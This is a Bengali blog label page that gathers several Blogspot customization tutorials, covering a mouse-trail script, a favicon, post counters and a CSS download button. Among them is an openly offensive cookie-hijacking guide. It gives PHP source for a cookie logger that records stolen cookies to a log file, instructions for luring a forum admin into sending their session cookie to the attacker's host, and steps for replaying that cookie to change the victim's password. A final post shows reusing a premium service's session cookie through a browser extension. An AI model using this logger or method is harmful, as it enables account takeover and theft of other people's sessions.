Showing posts with label Sitemap. Show all posts
Showing posts with label Sitemap. Show all posts
Thursday, March 5, 2015
Sunday, March 1, 2015
সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ
সবাই কেমন আছেন ?
আশা করি ভালোই আছেন।
আমিও আপনাদের দোয়ায় ভালোই আছি।
আজ অনেক দিন পর আমি আমার ব্লগস্পট ব্লগের ধারাবাহিকতায় ফিরে আসলাম।
টাইটেল দেখেই অনেকেই হয়তো বুঝতে পারছেন।
আমি ঠিক এই রকম একটি টিউন আগেও করেছিলাম তবে অনেকেই ঔখানে মন্তব্য করেছিল যে কোড কাজ করছেনা।
তাই সবার কথা বিবেচনা করে এবং ফেইসবুকে একজন ফ্রেন্ডের অনেক দিনের অনুরোধের কারনে আজকে টিউনটি করতে বসলাম।
আর হুম এই টিউনটি ১০০% কাজ করবে আমি এই মাত্র নিজে চেষ্টা করে তারপর টিউন করতে বসলাম।
যাই হোক আজ অনেক লেকচারই দিলাম , আসুন তাহলে এবার আমরা শুরু করি।

ভালো লাগলে কমেন্ট করবেন আর কোন ভুল-ভ্রান্তি হলে ক্ষমা সুন্দর দিষ্টিতে দেখবেন।
সবাই ভালো থাকুন, সুস্থ থাকুন, ভালবাসাসহ ১০০ টিউনের অপেক্ষায়
আপনাদেরই সাব্বির আলম 
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০১] :: আপনার ব্লগস্পট ব্লগের লেবেলকে ড্রপডাউন বা পপআপ মেনুতে রূপান্তর করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০২] :: আপনার ব্লগস্পট ব্লগে “রিলেটেড পোস্ট” (Related Posts) গেজেট যুক্ত করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৩] :: কিভাবে আপনার ব্লগস্পট ব্লগের টাইটেল স্টাইল পরিবর্তন করবেন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৪] :: যেভাবে আপনার ব্লগের মোট পোস্ট ও মন্তব্য সংখ্যা প্রকাশ করবেন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৫] :: আপনার ব্লগের লেবেলগুলকে সংখ্যা বিহীন দেখানোর উপায়
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৬] :: আপনার ব্লগ পোস্টের তারিখ, সময় এবং লেখকের নাম লুকিয়ে রাখুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৭] :: আপনার ব্লগস্পট ব্লগের জন্য তৈরি করুন মেন্যুবার
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৮] :: আপনার ব্লগস্পট ব্লগের জন্য তৈরি করুন আলতো করে সরে যাওয়া মেন্যু
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-০৯] :: আপনার ব্লগস্পট ব্লগের জন্য তৈরি করুন বাম পাশে ভাঁজকরা মেন্যু
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-১০] :: আপনার ব্লগস্পট ব্লগের জন্য তৈরি করুন খুব সহজেই একটি ঘড়ি
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-১১] :: আপনার ব্লগস্পট ব্লগে ব্যবহার করুন সিনট্যাক্স কোড হাইলাটার
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-১২] :: আপনার ব্লগস্পট ব্লগে লাইভ GTalk Badge যোগ করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-১৩] :: আপনার ব্লগস্পট ব্লগে গুগল ট্রান্সলেটর যোগ করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-১৪] :: আপনার ব্লগস্পট ব্লগের পেইজ বা পোস্টকে পিডিএফ আকারে ডাউনলোড করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-১৫] :: আপনার ব্লগস্পট ব্লগে মাউসের ডান বাটন অকার্যকর করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ :: [পর্ব-১৬] আপনার ব্লগস্পট ব্লগে মাউসের পিছনে ঘুড়ন্ত লেজ তৈরী করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ :: [পর্ব-১৭] আপনার ব্লগস্পট ব্লগের হোম পেইজে যুক্ত করুন খুব সুন্দর পোস্ট সেপারেটর
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ :: [পর্ব-১৮] আপনার ব্লগস্পট ব্লগের জন্য খুব সহজেই তৈরি করে নিন একটি মেনুবার
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ :: [পর্ব-১৯] আপনার ব্লগস্পট ব্লগে খুব সহজেই উপরে ফিরে আসুন গেজেট যোগ করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-২০] :: আপনার ব্লগস্পট ব্লগের ফেভিকন পরিবর্তন করুন দুনিয়ার সব চেয়ে সহজ পদ্ধতীতে
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-২১] :: আপনার ব্লগস্পট ব্লগের নিচে অতিরিক্ত কলাম তৈরি করুন
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-২২] :: আপনার ব্লগস্পট ব্লগেই দেখুন ক্রিকেটের লাইভ স্কোর
- সাজিয়ে নিন আপনার ব্লগস্পট ব্লগ [পর্ব-২৩] :: আপনার ব্লগস্পট ব্লগে মাউসের পিছনে ঘুরন্ত লেজ তৈরি করুন
সবাই কেমন আছেন ?
আশা করি ভালোই আছেন।
আমিও আপনাদের দোয়ায় ভালোই আছি।
আজ অনেক দিন পর আমি আমার ব্লগস্পট ব্লগের ধারাবাহিকতায় ফিরে আসলাম।
টাইটেল দেখেই অনেকেই হয়তো বুঝতে পারছেন।
আমি ঠিক এই রকম একটি টিউন আগেও করেছিলাম তবে অনেকেই ঔখানে মন্তব্য করেছিল যে কোড কাজ করছেনা।
তাই সবার কথা বিবেচনা করে এবং ফেইসবুকে একজন ফ্রেন্ডের অনেক দিনের অনুরোধের কারনে আজকে টিউনটি করতে বসলাম।
আর হুম এই টিউনটি ১০০% কাজ করবে আমি এই মাত্র নিজে চেষ্টা করে তারপর টিউন করতে বসলাম।
যাই হোক আজ অনেক লেকচারই দিলাম , আসুন তাহলে এবার আমরা শুরু করি।
ব্লগস্পট ব্লগে মাউসের লেজ তৈরি করার উপায় :
- প্রথমে আপনার ব্লগে লগ ইন করে Deshboard >>> Design >>> Add A Gadget >> HTML/JavaScript এ ক্লিক করে নিচের কোড গুলো সম্পূর্ণ কপি পোস্ট করে দেন ।
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
| <script language="javascript">// ENTER TEXT BELOW. CAN *NOT* INCLUDE NORMAL HTML CODE.var text='Welcome to Techtunes';var delay=30; // SPEED OF TRAILvar Xoff=-0; // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)var Yoff=-30; // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)var txtw=12; // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIESvar beghtml='<font color="#00436e"><b>'; // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.var endhtml='</b></font>'; // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED.//********** NO NEED TO EDIT BELOW HERE **********\\ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true : false;ie4 = (document.all && !document.getElementById)? true : false;ie5 = (document.all && document.getElementById)? true : false;ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;var txtA=new Array();text=text.split('');var x1=0;var y1=-1000;var t='';for(i=1;i<=text.length;i++){t+=(ns4)? '<layer name="txt'+i+'" top="-100" left="0" width="'+txtw+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';t+=beghtml+text[i-1]+endhtml;t+=(ns4)? '</layer>' : '</div>';}document.write(t);function moveid(id,x,y){if(ns4)id.moveTo(x,y);else{id.style.left=x+'px';id.style.top=y+'px';}}function animate(evt){x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);}function getidleft(id){if(ns4)return id.left;else return parseInt(id.style.left);}function getidtop(id){if(ns4)return id.top;else return parseInt(id.style.top);}function getwindowwidth(){if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;else return window.innerWidth+pageXOffset;}function movetxts(){for(i=text.length;i>1;i=i-1){if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){moveid(txtA[i-1],0,-1000);moveid(txtA[i],0,-1000);}else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));}moveid(txtA[1],x1,y1);}window.onload=function(){for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);if(ns4)document.captureEvents(Event.MOUSEMOVE);document.onmousemove=animate;setInterval('movetxts()',delay);}</script> |
- এবার গেডজেডটি সম্পূর্ণ সেইভ করুন
- ব্যাস আপনার কাজ শেষ
যা যা পরিবর্তন করতে পারবেন :
- উপরে টেকটিউনন্স লেখাতির স্থলে আপনার পছন্দের লেখাটি লিখবেন ।
- কোডের একেবারে উপরের দিকে থাকা কয়েকটি মান পরিবর্তন করতে পারবেন।
- var delay=30; // SPEED OF TRAIL
var Xoff=-0; // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)
var Yoff=-30; // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)
var txtw=12; // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIES
var beghtml='<span ><b>'; // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.
var endhtml=''; // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED. - উপরের অংশটিতে প্রয়োজনীয় পরিবর্তন করতে পারবেন। বাকী অংশে হাত দেয়ার দরকার নেই। সমস্যা হতে পারে।
- এখানে ver delay=30, var Xoff=0, var Yoff=30, var txtw=12 ইত্যাদি মানগুলো পরিবর্তন করে দিন।
ভালো লাগলে কমেন্ট করবেন আর কোন ভুল-ভ্রান্তি হলে ক্ষমা সুন্দর দিষ্টিতে দেখবেন।
সবাই ভালো থাকুন, সুস্থ থাকুন, ভালবাসাসহ ১০০ টিউনের অপেক্ষায়
ব্লগস্পট ব্লগের ফেভিকন যেভাবে পরিবর্তন করবেন :
- প্রথমে একটি ছবি সিলেক্ট করুন যেটি আপনি আপনার ব্লগের ফেভিকন হিসেবে এড করতে চান
- তারপর এই লিংকে ক্লিক করুন
- এখন নিচের ছবিটির মত একটি ফর্ম আসবে
- এখানে শুধু মাত্র browse অপশনে এ ক্লিক করে আপনার সিলেক্ট করা ছবিটি সিলেক্ট করুন
- তারপর Convert বাটনে ক্লিক করুন
- ছবিটি এবার সেইভ করুন
- এবার আপনার ব্লগে লগ ইন করুন
- তারপর Deshbord > Design >Layout> Edit Fevicon এ ক্লিক করুন
- এখন আপনার শেষ কাজ , Edit Favico এ ক্লিক করার পর আপনার কনভার্ট করা ছবিটি সিলেক্ট করে সেইভ করুন
- এবার আপনার ব্লগ একবার প্রিভিউ দিয়ে দেখুন যে আপনার তৈরি করা ফেভিকন শো করছে।
- আর হুম যদি ফেভিকন শো না করে আমাকে গালি দিবেন না
একটি
নতুন গেজেট (New Gadget) নিয়ে আজ আমি আপনাদের সামনে উপস্থিত হয়েছি। এই
গেজেটটি দিয়ে আপনার ব্লগে মোট কতটি পোস্ট (Post) প্রকাশিত হয়েছে এবং আপনার
ব্লগের ভিজিটর-পাঠকরা (Visitor-Reader) মোট কতগুলো মন্তব্য (Comment)
করেছেন তা দেখা যাবে।
<script style="text/javascript">
function numberOfPosts(json) {
document.write('মোট পোস্ট: <b>' + json.feed.openSearch$totalResults.$t + '</b><br>');
}
function numberOfComments(json) {
document.write('মোট কমেন্টস: <b>' + json.feed.openSearch$totalResults.$t + '</b><br>');
}
</script>
<font color="blue"><script src="http://shuvo1020.blogspot.com//feeds/posts/default?alt=json-in-script&callback=numberOfPosts"></script>
<script src="http://shuvo1020.blogspot.com/feeds/comments/default?alt=json-in-script&callback=numberOfComments"></script></font>
এই সুবিধাটি ব্লগে স্থাপন করা খুব সহজ।
উপরে দেয়া কোডটি কপি (Copy) করে নিয়ে একটি নতুন HTML/ Javascripts গেজেটে পেস্ট (Paste) করে দিন।
গেজেটটির নাম 'ব্লগ পরিসংখ্যান' (Blog Statistics) বা নিজের পছন্দমতো কোন একটি দিন।
কোডের অভ্যন্তরের shuvo1020 লেখাটি পাল্টে আপনার ব্লগের ঠিকানাটি (Blog address) লিখে দিন।
এবার সেভ (Save) করুন।
<script style="text/javascript">
function numberOfPosts(json) {
document.write('মোট পোস্ট: <b>' + json.feed.openSearch$totalResults.$t + '</b><br>');
}
function numberOfComments(json) {
document.write('মোট কমেন্টস: <b>' + json.feed.openSearch$totalResults.$t + '</b><br>');
}
</script>
<font color="blue"><script src="http://shuvo1020.blogspot.com//feeds/posts/default?alt=json-in-script&callback=numberOfPosts"></script>
<script src="http://shuvo1020.blogspot.com/feeds/comments/default?alt=json-in-script&callback=numberOfComments"></script></font>
এই সুবিধাটি ব্লগে স্থাপন করা খুব সহজ।
উপরে দেয়া কোডটি কপি (Copy) করে নিয়ে একটি নতুন HTML/ Javascripts গেজেটে পেস্ট (Paste) করে দিন।
গেজেটটির নাম 'ব্লগ পরিসংখ্যান' (Blog Statistics) বা নিজের পছন্দমতো কোন একটি দিন।
কোডের অভ্যন্তরের shuvo1020 লেখাটি পাল্টে আপনার ব্লগের ঠিকানাটি (Blog address) লিখে দিন।
এবার সেভ (Save) করুন।
আপনি ব্লগে ডাউনলোড করার জন্য কোন ফাইল দিয়েছেন, সাথে সাদামাটা স্টাইলের
ডাউনলোড লিঙ্ক। ভিসিটর কি সেই লিঙ্কটা সহজে খুজে পাবে? তাই আজকে আপনাদের
জন্য নিয়ে এলাম একটা সুন্দর সিএসএস ডাউনলোড বাটন। এটা আপনার ব্লগে দেয়ার
জন্য Edit Html এ গিয়ে </body> লিখে সার্চ করুন ও </body> ঠিক
উপরে নিচের কোডটি লাগিয়ে নিন।
ডেমো দেখতে এখানে ক্লিক করুন
<style>
.abt-button {
margin: 50px auto;
width: 200px;
}
/* Get this button at TipsWorldBlog.BlogSpot.Com */
.abt-button a {
background: -moz-linear-gradient(center top , #00B7EA 0%, #009EC3 100%) repeat scroll 0 0 transparent;
color: white;
display: block;
font: 17px/50px Helvetica,Verdana,sans-serif;
height: 50px;
text-align: center;
text-decoration: none;
text-transform: uppercase;
width: 200px;
position: relative;
z-index: 2;
/*TYPE*/
color: white;
font: 17px/50px Helvetica, Verdana, sans-serif;
text-decoration: none;
text-align: center;
text-transform: uppercase;
/*GRADIENT*/
background: #00b7ea; /* Old browsers */
background: -moz-linear-gradient(top, #00b7ea 0%, #009ec3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* IE10+ */
background: linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button a, .abt-button p {
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
-webkit-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
-moz-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
}
.abt-button p {
background: #222222;
color: #FFFFFF;
display: block;
font: 12px/45px Helvetica,Verdana,sans-serif;
height: 40px;
margin: -40px 0 0 10px;
position: absolute;
text-align: center;
transition: margin 0.5s ease 0s;
width: 180px;
z-index: 1;
/*TRANSITION*/
-webkit-transition: margin 0.5s ease;
-moz-transition: margin 0.5s ease;
-o-transition: margin 0.5s ease;
-ms-transition: margin 0.5s ease;
transition: margin 0.5s ease;
}
.abt-button:hover .up {
margin: -5px 0 0 10px !important;
}
.abt-button:hover .down {
line-height: 35px !important;
margin: -85px 0 0 10px !important;
}
.abt-button a:active {
background: #00b7ea; /* Old browsers */
background: -moz-linear-gradient(top, #00b7ea 36%, #009ec3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(36%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* IE10+ */
background: linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button:active .up {
margin: -20px 0 0 10px !important;
}
.abt-button:active .down {
margin: -70px 0 0 10px !important;
}
</style>
পোস্টে ডাউনলোড বাটনটি জুড়তে Compose থেকে HTML এ ক্লিক করুন ও নিচের কোডটুক পোস্টে দিন।
<div>
<a href="tipsworldblog.blogspot.com">Download</a>
<p>Click to Start</p>
<p>1.2MB .zip</p>
</div>
এখানে tipsworldblog.blogspot.com এর জায়গায় আপনার ডাউনলোড লিঙ্ক ও 1.2MB .zip এর জায়গায় ফাইলের সাইজ ও এক্সটেনশন দিন।
ডেমো দেখতে এখানে ক্লিক করুন
<style>
.abt-button {
margin: 50px auto;
width: 200px;
}
/* Get this button at TipsWorldBlog.BlogSpot.Com */
.abt-button a {
background: -moz-linear-gradient(center top , #00B7EA 0%, #009EC3 100%) repeat scroll 0 0 transparent;
color: white;
display: block;
font: 17px/50px Helvetica,Verdana,sans-serif;
height: 50px;
text-align: center;
text-decoration: none;
text-transform: uppercase;
width: 200px;
position: relative;
z-index: 2;
/*TYPE*/
color: white;
font: 17px/50px Helvetica, Verdana, sans-serif;
text-decoration: none;
text-align: center;
text-transform: uppercase;
/*GRADIENT*/
background: #00b7ea; /* Old browsers */
background: -moz-linear-gradient(top, #00b7ea 0%, #009ec3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* IE10+ */
background: linear-gradient(top, #00b7ea 0%,#009ec3 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button a, .abt-button p {
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
-webkit-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
-moz-box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
box-shadow: 2px 2px 8px rgba(0,0,0,0.2);
}
.abt-button p {
background: #222222;
color: #FFFFFF;
display: block;
font: 12px/45px Helvetica,Verdana,sans-serif;
height: 40px;
margin: -40px 0 0 10px;
position: absolute;
text-align: center;
transition: margin 0.5s ease 0s;
width: 180px;
z-index: 1;
/*TRANSITION*/
-webkit-transition: margin 0.5s ease;
-moz-transition: margin 0.5s ease;
-o-transition: margin 0.5s ease;
-ms-transition: margin 0.5s ease;
transition: margin 0.5s ease;
}
.abt-button:hover .up {
margin: -5px 0 0 10px !important;
}
.abt-button:hover .down {
line-height: 35px !important;
margin: -85px 0 0 10px !important;
}
.abt-button a:active {
background: #00b7ea; /* Old browsers */
background: -moz-linear-gradient(top, #00b7ea 36%, #009ec3 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(36%,#00b7ea), color-stop(100%,#009ec3)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* IE10+ */
background: linear-gradient(top, #00b7ea 36%,#009ec3 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00b7ea', endColorstr='#009ec3',GradientType=0 ); /* IE6-9 */
}
.abt-button:active .up {
margin: -20px 0 0 10px !important;
}
.abt-button:active .down {
margin: -70px 0 0 10px !important;
}
</style>
পোস্টে ডাউনলোড বাটনটি জুড়তে Compose থেকে HTML এ ক্লিক করুন ও নিচের কোডটুক পোস্টে দিন।
<div>
<a href="tipsworldblog.blogspot.com">Download</a>
<p>Click to Start</p>
<p>1.2MB .zip</p>
</div>
এখানে tipsworldblog.blogspot.com এর জায়গায় আপনার ডাউনলোড লিঙ্ক ও 1.2MB .zip এর জায়গায় ফাইলের সাইজ ও এক্সটেনশন দিন।
কুকি হাইজাকিং এমন একটা হ্যাকিং মেথোড যেটার দ্বারা অনেক গুরুত্বপুর্ন ও বড় বড় কিছু হ্যাক করা যায় । এর মাধ্যমে অন্যের পাসওয়ার্ড পেয়ে তুমি হ্যাকিং শুরু করে দিলে ।
ধরো ভিকটিম ফেসবুক, গুগল সহ অনেক যায়গায় ব্রাউজিং করে এবং ওইসব তথ্য তার ব্রাউজারে সেভ থাকে । তুমি যদি কারো কুকি পাও তাহলে তার অনলাইনের সব কিছুই হ্যাক করতে পারবে ।

কুকিলগার কি?
কুকি লগার এমন একটা জিনিস যেটা একটা সাধারন PHP স্কিপ্ট দ্বারা তৈরি করা হয় ।
এটার দ্বারা যে কারো তথ্য চুরি করে একটা লগ ফাইলে সেভ করে রাখা যায় ।
আজ আমি আপনাদের দেখাবো কি করে নিজের একটা কুকি লগার তৈরি করতে হয় । আশা রাখি আপনারা অনেক ভালো করে উপভোগ করবেন ।
Step 1: নিচের লিন্ক থেকে ফাইলটা ডাউনলোড করুন এবং এটাকে রিনেম করে Tipstune.gif: নাম দিন ।
Download it.
http://www.crocko.com/1702516956.html
Step 2: এখন নিচের কোডটা কপি করে Notepad এ পেস্ট করুন এবং এটাকে সেভ করুন cookielogger.php: নামে ।
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” .$_GET["cookie"]) === FALSE)
{
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary ServerError,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary ServerError,Sorry for the inconvenience.”;
exit;
?>Step 3: আবারো নতুন করে Notepad ওপেন করে কিছু না লিখে ওটাকে logfile.txt নামে সেভ করুন ।
Step 4: এবার ফাইলগুলা আপনার যে কোন একটা হোস্টিং এ আপলোড দেন । সবথেকে ভালো হয় যদি পেইড হোস্টিং থাকে ।
ফাইলগুলার লিন্ক দেখতে নিচের মত হবে ।
* cookielogger.php ->
http://www.yoursite.com /cookielogger.php
*logfile.txt ->
http://www.yoursite.com /logfile.txt
*Tipstune.gif ->
http://www.yoursite.com /fun.gif
Step 5: এবার ধরুন আপনি একটি ফোরাম সাইটের এডমিনের কুকি হাইজাকিং করবেন । তাহলেঃ তার ফোরাম সাইটে গিয়ে নিচের কোডটা কপি পেস্ট করে একটা পোস্ট করুন ।
Download it.
http://www.crocko.com/1702516964.html
Step 6: এবায় যখন ওই এডমিন উক্ত পোস্টা দেখবে তখন সে তোমার ওই ইমেজটা দেখবে । এবং কৈতুহল বশত ওটাতে ক্লিক করবে । সে যখনই ক্লিক করবে তখনই একটা Eror ম্যাসেজ দেখাবে । ব্যাস তার অজান্তেই কুকি গুলা হাইজাক হয়ে গেলো । কুকি গুলা log.txt ফাইলে পাবে ।
কুকি দেখতে নিচের মত হবে ।
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D;phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9Step 7: ভিকটিমের এক্যাউন্ট হ্যাক করে অনুমতি পাবার জন্য একটা ছোট্ট কাজ করতে হবে । আর সেটা হলোঃ তোমার কুকির সাথে ভিকটিমের কুকি Replace করতে হবে ।
এই কাজের জন্য Cookie Editor টুলসটা ব্যাবহার করতে পারো ।
“=” চিহ্ন এর আগের টুকু কুকির নাম । এবং “=” এই চিহ্ন এর পরেরটুকু কুকির ভ্যালু ।
সুতরাং Cookie Editor এ কুকির ভ্যালুটা চেন্জ করতে হবে ।
Step 8: এখন সেই ফোরাম সাইটে যাও । যেটা তুমি হ্যাক করতে চেয়েছিলে । দেখবে তুমি লগইন অবস্থায় আছো । এখন আস্তে করে পাসওয়ার্ডটা চেন্জ করে ফেলো আর সাইটকে একটা ছোট্ট বাঁশ দিয়ে চলে এসো ।
Note : তবে ভিকটিম যদি সাইটে লগআউট করে দেয় তাহলে তোমারও লগআউট হয়ে যাবে । তবে তুমি যদি একবার পাসওয়ার্ড চেন্জ করে ফেলতে পারো তাহলে আর বারবার কষ্ট করা লাগবে না ।
Disclaimer: এই হ্যাকিং এর জন্য 0ld D3vil, Md sagor, tipstune, H@ck1ng Sch00l আমরা কেওই দায়ি থাকবো না । কারন এটা আপনি নিজ দায়িত্বে ব্যাবহার করবেন ।
১।Zbigz/Bytebx কি?
টরেন্ট নাম শুনেছেন তো!না শুনলে কেটে পড়ুন!
টরেন্ট ফাইলগুলো ডাউনলোড করতে আলাদা ম্যানেজার লাগে!সেই ম্যানেজারে কোন কিছু ডাউনলোড করতে হলে ডাউনলোডের পাশাপাশি আপলোডও দিতে হয়!যার কারনে ডাউনলোড স্পিড কমে যায় যা খুবই বিরক্তিকর!কিন্তু নতুন মুভি,ফুল সফট সবার আগে টরেন্টেই আপলোড হয়।তাছাড়া অনেক জিনিষই আপনি টরেন্টে পাবেন কিন্তু নরমালি পাবেন না!যেমনঃ ড্রাইবার প্যাক নামের একটা সফটওয়্যার আছে যার সাইজ ৯.৬৭ জিবি এবং এটা অফিশিয়ালি টরেন্টে দেওয়া!এখন আপনি কোনো মানবতাবাদীকে পাবেন না যে এত বড় ফাইল আপনাকে নরমাল সার্ভারে আপলোড করে দিবে!Zbigz/Bytebx এমনই দুইটা সার্ভিস যা টরেন্টকে ডিরেক্ট ফাইলে পরিণত করতে পারে!এতে করে আপনি টরেন্টটিকে আপনার প্রভাইডারের দেয়া ডেডিকেটেড স্পিডে ডাউনলোড করতে পারবেন!
২।Zbigz/Bytebx প্রিমিয়াম আর ফ্রী সার্ভিসের মধ্যে পার্থক্য?
Zbigz.com সাইটে ফ্রীতে মাত্র এক জিবি সাইজের ফাইলকে টরেন্ট টু ডিরেক্ট করতে পারবেন!Bytebx.com এ ও ১ জিবি লিমিট সাথে রেজিস্ট্রেশন ঝামেলা!এর সাথে প্রতি একাউন্টে ও লিমিট এবং স্পিড লিমিট থাকে!
আর প্রিমিয়াম সার্ভিসের স্পীড বা ডাউনলোড কোনো লিমিট নেই!
আর এজন্যই আপনাদের জন্য নিয়ে এলাম Zbigz/Bytebx এর প্রিমিয়াম একাউন্ট!
কিছুদিন আগে রিয়াজ ভাই এরকম দুই-তিনটা সার্ভারের প্রিমিয়াম একাউন্ট পাসওয়ার্ডসহ শেয়ার করেছিলেন!কিছু আবাল বার বার পাসওয়ার্ড চেঞ্জ করতে থাকে!আমি যে সিস্টেমে দিচ্ছি সেটাতে পাসওয়ার্ড চেঞ্জ হয়ার কোন উপায় নেই!তাই প্রথে Zbigz দিয়েই শুরু করিঃ
৩।যা যা লাগবেঃ
*গুগল ক্রোম ব্রাউজার
*ক্রোম ব্রাউজারে একটি এড অন।নামঃ Edit This Cookie
এড অন লিঙ্কঃ https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg
#গুগল ক্রোম থেকে উপরোক্ত লিঙ্কে গিয়ে Add to Chrome বাটনে ক্লিক করে Pop Up মেসেজ আসবে Allow তে ক্লিক করে এড অন টি ইন্সটল করুন।
Zbigz এর জন্যঃ
১।Zbigz.com এ যান।
২।ব্রাউজারের টপ বারে বিস্কিটের মতো Edit This Cookie এড অনটির আইকন থাকবে-ক্লিক করুন!
৩।একটা পপ আপ উইন্ডো আসবে সেখানে PHPSESSID নামের একটা অপ্সহন দেখতে পাবেন সেখানে ক্লিক করুন!মেনুটি মেক্সিমাইজ হবে!
